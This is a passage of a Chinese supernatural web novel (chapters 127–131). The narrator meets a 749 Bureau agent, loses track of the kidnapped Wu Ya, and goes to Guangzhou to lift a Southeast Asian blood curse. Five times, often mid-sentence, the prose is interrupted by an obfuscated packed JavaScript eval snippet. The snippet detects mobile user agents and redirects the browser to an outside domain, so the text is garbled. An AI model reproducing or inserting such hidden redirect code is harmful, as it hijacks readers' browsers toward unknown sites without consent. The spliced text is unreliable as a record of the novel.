有个穿着黑色风衣,身材高瘦满脸络腮胡,脸上还戴了副大墨镜的人,正面无表情站在走廊入口处,居高临下看我们。 “是你?” 我惊讶坏了,来的不是别人,正是昨天晚上出现在吴家门口的神秘墨镜男。 墨镜男则对我摆出一副很不爽的表情,语气低沉道,“我明明警告过你,不要再管这件事。” 我摇头说,“鬼面会抓走了我的朋友,我不能不管。” “你朋友?就是吴家那个女孩吧。” 墨镜男的话让我倍感吃惊,他究竟什么来历,好像对吴家的事十分了解。 但面对我的困惑眼神,墨镜男却没有给出解释,而是快速扫了眼地上的五具女尸。 很快,他表情变得比石头还要僵,“该死,怎么总是来晚一步,看来那女人已经得手了。” “你在说什么?” 我好奇地问了一句,但墨镜男压根不理我,直接跨过地上的女尸,拔腿朝走廊深处跑。 看样子,他是奔着那个短发女人来的。 我也打算跟上去,老蝙蝠再次制止我道,“你去干什么,这个人很厉害,有他在,那个短发女人可要吃苦头了,根本不用蝠爷再出手。” 我说你老小子就吹吧,刚才不知道是谁被吓得到处乱蹿。 它老脸一红,哼哧道,“还不都是因为你,蝠爷只是元神还没恢复,要是我巅峰时期的话……” “你丫闭嘴吧。” 我没好气地打断老蝙蝠,丫每次都这么说,我耳朵早就听出老茧。 踩着墨镜男的脚印,我抓紧时间跟了上去。 有了这个神秘的家伙在,短发女人应该翻不起太大的浪花。 很快我就来到走廊尽头,穿过一扇门,里面是个宽大的暗室。 暗室中间有个水池,里面浸泡着很多药材,旁边还有一堆女人的衣服。 我马上认出,这些衣服是吴娅的。 但水池里空空荡荡,除了旁边那堆衣服外,居然连根人毛都没有。 墨镜男正沉着脸站在水池边缘,凝视着波光嶙峋的水池,脸色极其难看。 我感觉这个池子里的液体有些古怪,正要凑上去观察。 墨镜男叫住我,“不想死就别碰。” 我动作僵了一下,满脸不解。 老蝙蝠躲在我背后,小声说,“这叫化生池,里面的液体浸泡了很多阴毒的草药,剧毒。” 我大惊失色,指着吴娅那堆衣服说,“那吴娅岂不是……” “放心,那女孩死不了,五道阴女哪有这么容易被毒死。” 墨镜男知道我在担心什么,回过头,微微叹气,“炼魂仪式已经完成,恐怕吴家那女孩是自愿跟她走的。” “等等,你到底在说什么啊。” 我脑子里有一万个问号,背着一连串的事搞懵了。 墨镜男看着我说,“鬼面会在这里摆出五煞阵,是为了给吴娅炼魂,帮助她觉醒五道阴女的前世记忆。” 一旦炼魂仪式完成,吴娅就会觉醒前世记忆,成为另一个人。 性格也会大变,恐怕再也不是之前那个天真单纯的女孩了。 我满脸惊愕,“鬼面会为什么要这么多吴娅?” 墨镜男说,“当然是看中了五道阴女的内在潜力。” 一旦觉醒了五道阴女的属性,吴娅将会成为修法奇才。 如果她加入鬼面会,接受对方的培养,不出两三年,就会成为十分厉害的杀手。 我大声说,“这不可能,吴娅这么单纯的一个女孩,她怎么可能变成杀手。” 墨镜男深深看我一眼,脸上弥漫着说不清的味道,“如果五道阴女的命格没有被唤醒,她或许会想以前那样,一辈子保持天真。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744019|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜,鬼面会已经通过五煞阵,将五道恶煞的怨气打进她身上。 这么做会产生两种后果。 一种是吴娅承受不住恶煞的怨气,爆体身亡。 另一种是彻底将五道怨气融合,成为人形兵器。 墨镜男轻轻摇头,“五道恶煞怨气会逐渐蚕食她的本我意识,时间一长,吴娅就会逐渐迷失本心,具体变成什么样,恐怕没人能说得清楚。” 我内心顿时空了一块,晃了晃身子,几乎站不稳。 墨镜男继续说,“不过你也不用太担心,鬼面会的人绝对不会伤害吴娅。” 毕竟五道阴女的命格太特殊了,堪称是万中无一,很难再找出第二个替代品。 我神情恍惚了一下,忽然抬头看着墨镜男,说那你呢,你又是什么人。 对方不仅能掌握吴家的事,甚至对鬼面会的动机这么了解,不能不让我怀疑。 墨镜男浅笑了一声,“我来自947局。” “再见!” 我还没反应过来,老蝙蝠已经使劲推着我要往外面走了。 那表情更是跟我第一次见鬼的时候差不多。 我惊讶它为什么会这么惊恐,墨镜男再神秘也只是个人而已。 老蝙蝠小声说,“你不懂,749局那帮家伙,根本不能算是人。” 几个意思?他是头上长犄角,还是身后有尾巴,怎么就不是人了? 老蝙蝠记得抓耳挠腮,不知道怎么解释。 墨镜男笑着说,“你不用这么紧张,我们也不是见妖就抓,只要你别害人就行。” 这句话分明是对老蝙蝠说的。 墨镜男这么厉害,关于他能够看到老蝙蝠的事,我并不感觉奇怪。 只是这些话却让我感到不能理解。 这个749局,是专门抓妖的吗? 墨镜男看出了我的疑惑,摇头走来说,“我们的业务比较广泛,不仅抓妖,还负责处理一些非常规的案子,总之凡是灵异范畴的事,479局都管。” 听到这么霸气的话,我马上反应过来,“是不是跟明朝的西厂一样,皇权特许?” 话刚说完我就后悔了。 果然墨镜男嘴角抽了一下,黑着脸说,“我们可不是太监,更不会陷害忠良。” 第127章 猎鹰的名片 我贼尴尬,那段时间没少看武侠电影,当听到749局这么特殊的部门后,下意识就跟明朝的西厂联系到一起。 老蝙蝠偷着乐,小声补充了一嘴,“虽然不是太监,但干的事差不多。” 虽然它说话小声,还是被墨镜男听到了,皱眉瞪它一眼。 老蝙蝠立马怂得跟孙子似的,藏在我身后不说话。 看得出来,它对墨镜男很忌惮,又或者是忌惮墨镜男背后的749局。 好在墨镜男并没有跟它计较,直接递来一张名片,塞到我手上。 他表示自己的活动范围主要集中在西南这一带,如果再遇上鬼面会的人,可以打这个电话,向他提供情报, “好几年前,我们就开始注意鬼面会了,这些年一直再想办法抓捕这群邪修。” 但鬼面会组织严密,很难掌握关于他们的线索,所以几次抓捕都以失败告终。 “你已经得罪了鬼面会,按这帮人的尿性,迟早还会找你麻烦,留着我的电话,或许有用。” 说完这堆话,墨镜男转身往外走。 我迟疑了片刻,低头看着名片,上面只有简单的名字信息:猎鹰。 下面则是一串电话号码。 老蝙蝠则怂恿我赶紧把名片丢了,千万别跟749局的人扯上关系。 我不解道,“为什么,就因为这个组织的人会捉妖?” 它撮着牙花摇头,“捉妖算个屁,你根本不知道749的人有多恐怖。” 在古代,这帮人被称为八扇门,专门替皇家寻找龙脉,掠夺天材地宝。 谁家祖坟埋得好,有可能威胁皇权,八扇门的人就会第一时间铲掉这家人的坟头, “说白了就是一帮朝廷鹰犬,专门为特权服务。” 我是术士,在古时候属于“匪”的那一类。 八扇门吃的则是公家饭。 自古术士不入公门,天生的对头。 话虽如此,我却没有接受老蝙蝠的建议。 吴娅被鬼面会的人带走,我已经下定决心,将来有机会一定要把她救出火坑。 恰好749局的人也调查鬼面会。 敌人的敌人就是朋友,也许有一天能合作。 老蝙蝠气得牙疼,“你丫真是一头倔驴,都这样了还想逞英雄。” 我取出槐木牌,在它脑门上敲了下,“我看你是膨胀了,分辨不清大小王是吧?” 教训完老蝙蝠,我很无奈地走出这栋老楼。 外面火势已经灭掉,我刚走出老楼,王刚就疑神疑鬼从角落里跑出来,“怎么样,找到人没有?” 我苦笑着叹气,“走吧,回去再说。” 这次出门白跑一趟,别说救人了,我连吴娅的影子都没摸到。 想到之前答应过吴总,会把她女儿平安带回去,心里就是一阵阵刺挠。 进了古香斋,明叔正悠闲地泡着茶等我。 似乎一早就料到我会无功而返,翘着二郎腿说,“林峰,你这个人最大的毛病就是好管闲事。” 既然没打算跟吴娅有后续发展,完全没必要对她的事这么上心。 我说,“人不能只看中实际利益,总得讲点交情吧?” 明叔一听,马上讥讽我,说那你忙活半天,差点连命都搭进去,有结果了吗。 我无言以对。他则正儿八经地告诫我,“咱们是生意人,没必要得罪这些玄门势力,尤其是鬼面会的邪修,这些人个顶个都不好惹。” 我反驳道,“就算我不惹他们,人家也会来找麻烦,昨天的事就是个例子。” 做人不能太软,鬼面会都打上门了,小爷也不是泥捏的,早晚会跟他们算清楚这笔账。 见劝不动我,明叔也不再啰嗦了,追问我这一趟的遭遇。 等我把经过一说,明叔顿时惊愕地张大嘴,差点没从椅子上滚下来, “什么?749局!这可真是要了亲命了,苍天保佑,可千万别被这些家伙盯上。” 我无语道,“你至于这么大反应吗。” 其实我对墨镜男猎鹰的出现并不排斥,要不是他的话,今晚我可能倒大霉。 明叔哭丧着脸说,“你是不知道749局的人有多麻烦,等以后就明白了。” 他跟老蝙蝠是一个尿性,劝我以后再见到猎鹰的时候,一定要绕着走,实在不行就把内裤套头上装鸵鸟,总之能躲多远躲多远。 我无语得不行,加上心里烦躁,一句话不想说,直接回出租屋睡了。 隔天我又遇上了吴总,他身体刚有好转,就迫不及待跑店里来,质问我为什么没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744020|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救回自己女儿。 讲真,我对吴总的印象不好。 总感觉他仗着有钱,有点不拿别人当回事。 只是联想他毕竟是吴娅的老爸,家里刚遭遇这么多变故,女儿也丢了,心情不好也正常。 我没跟他计较,简单讲出了事情经过。 吴总听说女儿被鬼面会的人带走,当时就吓瘫软在地上。 想想这老小子也挺倒霉的。 前妻是天阳女,被人算计差点炼成鬼煞。唯一的女儿也摇身一变成为了五道阴女,被邪修抓走培养。 不知道上辈子造了什么孽,会有这种报应。 对于吴娅,我内心始终怀着一份亏欠。 抽空就让明叔帮忙,打听一下鬼面会的消息。 明叔很不耐烦,说过去的事情就让它过去好了,吴娅又不是我媳妇,干嘛这么上心。 我苦笑道,“说到底吴家倒霉也有我的一部分责任。” “你小子,怎么老喜欢把责任往自己身上揽?” 明叔摇头晃脑,说各人自有天命,大部分人的命运从出生那一刻就注定了,“没有你,吴家就不倒霉了?” 我苦涩的点点头,事到如今,也只能这么安慰自己。 这件事成为了我心里的一道坎,每当回想起来,心里都格外不舒服。 也许大伯是对的,我就不该跟任何异性走得太近。 任何女人摊上我一准儿会倒血霉。 当然,有一位大姐是例外。 那天我刚回家,落花洞女就迫不及待找我“收租”。 之前答应过这个月要给两次,我苦兮兮地问她能不能给我留点? “吸完了还能再生,你怕什么?” 她娇笑一声,不顾我的强烈抗议,一口气把我的精血吸走大半。 那几天我走路都是飘的。 好不容易养回一点力气,新的麻烦转眼就来。 隔天夜里,我正在帮明叔盘点。 王刚咋咋呼呼跑来说,“林峰,你们快去外面看看吧,店里来了一大波熟女。” 我和明叔均感意外,天都这么晚了,怎么会有人跑进古香斋? 出门一看我震惊了,熟女只有一个,但波峰确实很大。 “黄姐,你怎么会跑到这儿?” 第128章 黄姐求助 我震惊不是因为这个女人胸大,而是因为我们认识。 不久前我和明叔刚去过一次广州,帮一个叫黄天浩的年轻人解决“大肚子”怪病,黄姐就是黄天浩的老妈。 我很不解她为什么会大老远跑到古香斋,还把自己搞得这么狼狈。 她跌跌撞撞冲进店铺,满脸迫切地对明叔说,“求求你们,快救我儿子和老顾。” 明叔不淡定地走上去,“黄姐你这是闹哪出,怎么找到我店里来的?” 黄姐气喘吁吁说,“是老顾告诉我地址,我才能找到这里,他出事了,你快帮帮他吧。” “你先别急,老顾能出什么事?”明叔和我对视一眼,满脸疑惑。 上次我们回来之前,明叔就曾经说过,黄家的事情远比看上去要复杂。 黄天浩中降头的事,也没有表面那么简单。 但我没想到黄姐这么快就会再次找上门,还把自己搞得这么狼狈。 我让王刚先去给黄姐倒杯水,等她把气喘匀了再慢慢说。 黄姐等不及,一把推开水杯,胸前那对“大杀器”在不断起伏,“没时间了,我儿子失踪,老顾也病得很厉害,只有你们能救他们了。” 这话把我惊得够呛。 事情怎么会闹得这么严重? 黄姐不知道受了什么刺激,表情很激动,冲上来就要拉着明叔走。 “你别激动啊,拉拉扯扯像什么样子。”明叔轻轻推了她一下,没想到黄姐这么不经推,居然白眼一翻晕死过去。 “我去,咱可不兴碰瓷啊。”明叔吓坏了赶紧扶着她,借助检查身体的名义,在她波澜壮阔的事业线上尽情揩油。 我无语地说,“你能不能正经点,人都这样了好像这占便宜,她到底怎么了?” 明叔装模作样地摸了好久,抬头说,“被邪煞入体了,小事。” 听到邪煞入体四个字,我眉头立马皱起来。 邪煞二字原本是分开的。 邪通道代表鬼和妖物,邪气入体指的是鬼上身。 比较起来,煞气就不一样了,通常是人为炼制的东西,一旦进入身体,很容易从内部破坏一个人的神智。 这么说是被人下咒暗害了。 明叔摇头,“下咒者的第一目标不是她,只是下咒的时候她刚好在边上,受到波及而已。” 这种情况不算太麻烦,只要及时把那股邪煞气息逼出来,人就能恢复意识。 我说,“那好吧,你先把人抬进房间,我来试试。” 明叔赶紧照做,叫上王刚帮忙。 走进房间,我看着躺在床上的黄姐,一时间不知道该怎么下手。 这女人身材暴好,虽然四十多岁了,可高涨的事业线却让人眼晕,连扣子都要撑开。 解煞免不了身体接触,我长这么大还没见过异性身体呢。 明叔催我快点,“别磨蹭,老女人年纪比你大了一圈,什么长枪短炮没见过,指不定谁吃亏呢。” 在他的催促下,我只好帮黄姐解开扣子。 果然一眼就在她锁骨下看到了一团明显的黑印。 邪煞之气很浓。 为了救人,我顾不上想这么多,赶紧把手伸过去。 别说,触感是真心不错。 可就在我想入非非的时候,指尖和黑印接触点竟然传来一股麻麻的感觉。 闭上眼,一股邪寒气流沿着黑印延伸过来,像毒蛇一样试图钻进我的身体。 “滚!” 我冷哼一声,结出一个“斗”字诀,小腹下阴阳鱼旋运转,一个光印打在黑气上。 这几个月苦功不是白费的,我的气息已经初见规模,对付这种邪煞之气不断麻烦。 黑气被我的法决强行打散,她胸口印记肉眼可见地变淡。 受到两股气息的震荡,黄姐顿时就醒了。 再次睁开眼,她发现自己衣衫不整躺在我面前,胸前扣子已经被解开,顿时护着胸口发出尖叫, “啊……小淫贼,你要对我干什么?” 这一声来得太突然,高分贝的叫声差点刺穿我耳膜。 黄姐本来就是个强势的女人,哪能吃这个亏,一脚踢在我肚子上。 我猝不及防疼得差点跪倒,明叔则对我投来幸灾乐祸的表情,搀扶起了黄姐, “别紧张,你刚被邪煞入体,意识不太清晰,我们已经帮你解掉了。” 黄姐匆匆系好扣子,听到这话,猛然回想起自己的来意,马上露出哀求的眼神, “求你们,快帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744021|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙找找我儿子吧。” 明叔说,“你儿子怎么失踪的?” 黄姐说,“我也不清楚,上次你们走后,我儿子就一直待在家养病,可前天下午我处理完公司的事情回来,却发现儿子不见了,连手机也联系不上。” 她担心儿子的身体出问题,赶紧联系了顾老板帮忙去找。 经过调查,顾老板发现黄姐儿子是去了一栋烂尾的老楼,赶紧把这个消息告诉了黄姐。 于是黄姐就开车去了那栋烂尾楼下面,打算和顾老板一起进去寻找。 楼道很黑,气氛特别可怕。 不等黄姐找到儿子的踪迹,就听见身边的顾老板大喊一声,好像遭遇了什么可怕的事,拉着黄姐往外面跑。 楼道里不知道怎么起风了,黄姐听见里面里传来女人诡异的笑声,然后就感觉身体很冷。 等她好不容易跑出那栋烂尾楼,顾老板的脸色却变得特别差,毫无征兆地倒在地上,眼睛和鼻子、嘴巴都开始渗血。 在昏迷之前,顾老板说出了古香斋的地址,叮嘱黄姐一定要找到明叔。 黄姐虽然性格强势,毕竟是个女人,看见昏死倒地的顾老板,完全不知道该怎么办,只能打了120报警,然后马不停蹄赶到古香斋求帮助。 听完她的讲述,我有点吃惊。 这里距离广州一千多公里,她居然能独自开车赶来。 黄姐神情疲惫,抓着明叔的胳膊哀求,“我……什么都顾不了了,只想快点找到你们,找回我儿子,顺便求你们救救老顾。” 明叔马上说,“你放心,顾老板也是我的老客户了,他有事我不能不管。” 我则摸着下巴暗自嘀咕,黄姐发现儿子失踪后并没有联系自己老公,而是第一时间通知了老顾。 这件事实在反常,看来我之前的猜测是对的,黄姐和顾老板肯定有一腿。 说不定,连她儿子黄天浩也是和顾老板生下的。 但无凭无据,我不能把这些话明着进出来,只好问道,“顾老板在哪里住院,目前是什么情况?” 黄姐说自己也不清楚,她急着找我们求救,刚联系好120就迫不及待出发了, “我只知道老顾状态很不好,我走的时候,他五官全都在渗血。” 第129章 找帮手 “明白了,林峰,你赶紧收拾东西,看来我还得去一趟广州。” 听完黄姐的讲述,明叔已经大致猜出了前因后果。 显然黄天浩中降头的事情并没有结束,或许是下降之人意识到他的降头已经被人破解,心有不甘,才会跑到广州对他再次下手。 顾老板因为插手黄天浩的事,因此激怒那个降头师,同样被下了邪咒。 至于黄姐,她应该不是降头师的目标,所以对方并没有直接给她落降。 她这才有机会开车来贵州找我们求救。 分析完事情经过,我也意识到不能再等了,急忙收拾好了家伙什,陪黄姐一起赶回广州。 考虑到时间紧迫,我们没有在网上买票,直接坐上了黄姐赶来的汽车。 老蝙蝠照例陪我一起出发,明叔本来想把王刚留在店里,可架不住这小子好奇心重,吵着要跟我们出去长见识,只好让他一起上车了。 王刚车技不错,可以替我们当司机。 路上我和明叔直接分析起来,“给黄天浩下降头的人还挺固执,居然从菲律宾那么远的地方追过来,非要制他于死地不可。” 这得是什么仇什么怨? 明叔摇头说,“黄天浩只是个普通的富二代,没理由把一个降头师得罪的这么狠。” 对方之所以锲而不舍地追杀他,多半是受人雇佣。 我暗暗点头,瞥了一眼靠在后座上休息的黄姐。 她身上的邪煞之气刚被我拔除,身体很虚,一直靠在坐垫上喘息。 我猜,她儿子中降头的事,没准和黄姐自身有关。 从贵阳到广州一千多公里,紧赶慢赶,等我们到地方后,已经是第二天中午。 黄姐直接带我们杀向医院,去了顾老板接受治疗的病房。 刚冲进病房,我就被顾老板身上的邪气吓了一跳。 明叔走上去,在顾老板身上推了一把,“老顾,醒醒……” 见顾老板毫无反应,明叔拿出小手电,打算查看他的瞳孔。 哪知道刚扒开眼皮就吓得缩回来。 只见顾老板的眼睛里居然没有眼白,黑色的瞳仁充斥着鲜血。 另一只眼睛也是一样。 在他嘴巴、鼻子甚至耳朵眼里,也在缓缓淌着血丝。 黑色鲜血打湿了枕头,医生想了很多办法都不能帮他止血,只能劝说我们给病人转院。 黄姐很崩溃,表示这家医院已经是全广州最大的了。 如果连这你都治不好,还能转去哪儿? 明叔神情凝重地摇头,“他这种状况就算转院也没用,普通大夫可治不了邪症。” 听明叔的意思,他应该是看出了什么苗头。 我马上问明叔,顾老板这是怎么了。 明叔把眉毛锁成个疙瘩,“没猜错的话,应该是南洋血咒。” 我马上想到老蝙蝠,上次黄天浩被下了蛇胎咒,就是靠老蝙蝠吸走蛇灵治好的,这次应该也行。 可当老蝙蝠看完顾老板的情况后,却摇头说自己治不好。 我纳闷说,“上次你不是……” “上次是上次,这一次的顾老板情况不一样。” 老蝙蝠挥了挥小爪子,说不同的邪咒对应不同的解法,自己虽然英明神武,但也不可能什么都懂。 “去你丫的。”我最看不惯它这种自吹自擂的性格,直接把它收回槐木牌。 明叔说,“蝠前辈不行,看来只能找另一个人了,不知道柳凡能不能破了南洋血咒。” 我惊愕了下,T恤男已经很久都没跟我联系,不知道去了哪儿。 而且这种南洋血咒特别罕见,连老蝙蝠都束手无策,光靠T恤男能行吗。 明叔说,“先试试吧,蝠前辈虽然经验老道,可毕竟是妖,没有专门研究过降头。” T恤男就不一样了,他小时候在苗疆生活过一段时间,而苗疆和东南亚本来就是挨在一起的。 这些南洋降头也是脱胎自蛊咒,也许能行。 抱着死马当活马医的态度,明叔拨通了T恤男的电话。 万幸的是这次手机接通了,T恤男询问我们找自己干嘛。 明叔赶紧说明情况,T恤男先是迟疑了一会儿,然后说,“好吧,恰好我人在广西,大概五六个小时就能赶过去。” 放下电话,我好奇地询问明叔,T恤男跑广西做什么。 明叔没有答复我,摇头道,“柳凡有自己的事,你还是别问的好。” 随后明叔找到黄姐,表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744022|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示医院不是解决问题的地方,希望黄姐帮忙联系个新的住处。 黄姐说,“要不直接去我家吧。” 明叔愣了一下,“你老公不介意吗?” 再怎么说黄姐也是有家室的人,就这么光明正大地把顾老板带去她家照顾,我要是她老公,肯定会心情不爽。 黄姐拿出女主人的霸道气势,“家里的事我说了算,还轮不到他反对!” 看得出,她老公确实没什么家庭地位。 很快我们就给顾老板办理完出院手续,直接把人带到了黄家。 黄姐家是一栋滨海的小别墅,环境相当不错,房间也够大,刚好能用来安置病人。 进了她家客厅后,我再次看见了黄姐老公。 当时他正靠在窗台上抽烟,对我们的到来不闻不问。 黄姐对他嚷道,“就知道抽烟,儿子失踪了也不知道出去找找!” 黄姐老公连个屁都不放,丢掉烟蒂,转身走出别墅。 我感觉她对自家老公的态度比较过分,好歹是两口子,怎么当个下人使唤。 黄姐不屑道,“这个没用的废物,除了吃软饭啥也不会,管理不了公司就算了,连儿子都照顾不好,我早想一脚把他踢出去了。” 我惊愕到无语,明叔则扯了扯我的袖子,示意我不要过问客户的家务事。 安顿好顾老板后,我再次联系上T恤男。 他表示已经下了高速,可不知道黄家的具体地址,让我去市区带路。 我打车回到市区,看见T恤男居然骑着一辆摩托车过来,一路风尘仆仆,连眼球都带着血丝。 我吓一跳说,“你怎么好像几天没睡觉似的?” “我在处理一点私事,这几天没顾得上休息。”T恤男摇摇头,转移开话题,说客户家在哪儿。 我赶紧跨上他的摩托车,一溜烟返回了黄家别墅。 刚到别墅门口,我看见黄姐老公正打外面回来,出于礼貌,主动跟他打了声招呼。 他对我点点头,态度还算客气,“家里出这么多事,麻烦你们到处跑,辛苦了。” 我笑着说拿钱办事,应该的。 黄姐老公却叹气说,“其实你们不用再瞎忙活了,我儿子根本就找不回来。” 第130章 醒魂咒 我真怀疑自己是不是听错了。 我能理解他为什么对顾老板的事这么漫不经心,毕竟黄姐和顾老板的关系一看就有问题。 可黄天浩是他儿子,当父亲的居然能讲出这种话。 实在有悖常理。 可能是看出我表情不对,黄姐老公讪笑两声,摇头去了别的地方。 我则凝视他走远的背影,心里产生了一些莫名其妙的猜测。 不过当务之急还是先稳住顾老板的病情再说。 我和T恤男用最快的速度上楼,进入房间后,他马上走到顾老板床边查看。 当看到顾老板眼睛里浸出血丝的时候,T恤男也把眉头皱起来。 然后他把手按在顾老板头上,闭上眼睛感应,并轻轻催动咒语。 顾老板头上顿时一缕血光呈现,在他手掌下若隐若现。 几分钟后T恤男停止念咒,看了下顾老板的双眼,虽然黑瞳没有退去,但流血止住了。 只是顾老板依旧保持昏睡的样子没醒。 明叔问,“怎么样,能不能解?” T恤男点头,又摇头,“南洋血咒是一种特别邪门的法咒,源头来自菲律宾,据说是菲律宾鬼王的独门法咒,很神秘,一般的方式根本解不了。” 明叔脸色大变,惊呼说,“不会吧,你的意思是下咒的人是菲律宾鬼王!” 见他反应这么夸张,我和王刚不解地挠挠头,“这个菲律宾鬼王很厉害?” “何止是厉害。” 明叔倒抽一口凉气,说东南亚那几个小国的人口虽然不多,可全民信仰宗教,因此修法的基数很高,可以算是一个邪术横行的地方。 在这么多修炼黑法的降头师中,菲律宾鬼王能够脱颖而出,被冠以“鬼王”的称谓,你可以想象他究竟有多厉害。 如果顾老板的血咒真是出于菲律宾鬼王的手笔,那我们也不用给他治了。 赶紧收拾东西打道回府,免得自己也被对方盯上。 T恤男摇头说,“血咒虽然是菲律宾鬼王的招牌降头,但不代表只有他一个人会。” 下咒的肯定不是鬼王本人,否则T恤男刚才的法咒肯定发挥不了作用。 明叔松口气,“既然不是菲律宾鬼王,那就有缓了。” T恤男还是摇头,“要破解这种邪术很麻烦,我的咒语只能暂时压制血咒。” 等到邪气再次汇聚起来,血咒一样要爆发,到时候神仙难救。 唯一的解法,就是赶在三天之内找到下咒的人,逼对方交出“降引”。 我听得云里雾里,打断道,“等会儿,什么是降引?” 明叔解释道,“降引就是用来催动血咒的阴物,对方下血咒之前,必须依靠阴物作为下咒的媒介,才能达到具体的效果。” 我大概明白了,看来血咒的原理应该和几个月前,我们搞定穿心咒的步骤差不多。 T恤男说,“床上这个人是在哪里中的降头?” 我急忙说出地址,是一栋废弃老楼。 不过时间已经过去快三天了,不知道下咒的人还有没有躲在那个地方。 T恤男说,“国内没人懂得下这种血咒,说明下咒的人肯定是来自东南亚。” 这些外国降头师不了解国内的环境,肯定会找个固定的地方躲起来。 他提议我们马上去那栋老楼看一看,运气好的话,应该就能逮住对方降头师。 黄姐还记得那栋老楼的地址,可以帮我们带路。 至于明叔和王刚,就负责留在这里看守顾老板,有什么情况及时通过手机沟通。 确定好计划之后,我们马上就决定要出发。 可出发之前,T恤男还要做一场法事,确保在我们离开之后,顾老板的血咒不会再次爆发。 他取出一柱黄香,双手合十,把三根香倒扣在手心,嘴上念念有词,好像跳大神一样蹦跶起来。 随着咒诀的诵念,黄香上面飘出几缕白烟,萦绕床头,覆盖在顾老板身上经久不散。 我看完全程,惊讶地说,“这是早就失传的醒魂咒?” 典型的道家手段,我也只是在破书上读到过这种法门,没想到T恤男连这个都会。 我满脸崇拜,他到底学了多少种法门? T恤男脸色平静,淡漠道,“其实学得太多太杂,有时候未必是好事。” 门门都会,不代表门门都精。 真正厉害的术道高人往往只钻研一门法术就够了。 话虽如此,我还是对他的出手感到吃惊。 这家伙不仅懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744023|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛊术,还掌握了不少南洋降头,甚至连道门法咒都这么精通,来历肯定不简单。 有这样的家伙在身边,我也能安心了。 不过醒魂咒也只能保证他几个小时不被邪气入侵,T恤男把剩下的黄香交给明叔,让他分八个方向,把黄香插在病床附近围成一圈。 看到黄香燃尽,必须立刻续上。 只要黄香不断,顾老板就没有性命之忧。 交代完这些事,T恤男就叫上我一起下楼。 上车后,我一直在想事情,没有说话。 黄姐同样很安静,这几天的事情让她心力憔悴,连觉也睡不好,一方面是担心顾老板,另一方则是担心失踪的儿子。 其实我很想告诉她,自己怀疑她儿子失踪的事,可能跟家人有关。 但苦于没有证据,也不想再说出刺激她的话。 半小时后,黄姐把车停靠在市郊一栋老楼附近。 刚到地方我就感觉楼层上有一股阴气环绕。 这天色也不好,雾蒙蒙的,感觉破烂老楼头顶压着一块黑云,随时可能压下来。 黄姐想跟我一起走进去,但被我阻止了, “绑走你儿子,以及给顾老板下咒的人是一伙的,多半就在这栋楼上。” 这些南洋邪术师很危险,要是没有T恤来在旁边压阵的话,我甚至都不敢单独冲上楼。 黄姐就更不适合进去了。 她一脸担忧道,“那就请你们多费心,一定要把我儿子找出来。” “我会尽力的。” 嘴上这么说,可她儿子已经失踪了好几天。 说实话,我对找回黄天浩的事情很没信心。 当然这种话不能当着黄姐的面讲,我和T恤男快速走进楼道,到了没人地方才说, “你觉得她儿子还有可能活着吗?” T恤男说,“不知道,只有找过之后才清楚。” 这话简直和没说一样。 这时老蝙蝠也从槐木牌里钻出来,围绕老楼转了一圈,马上伸出小爪子说,“人应该在楼上,蝠爷能感应到楼上有人活动的气息。” 我马上让老蝙蝠带路。 它却像黄花鱼一样溜了边,“不成,上次受伤我还没恢复呢,才不跟你们上去冒险。” 第131章 人头围攻 我把脸一沉,“咋的,你还想罢工,以后不吃鸡了?” 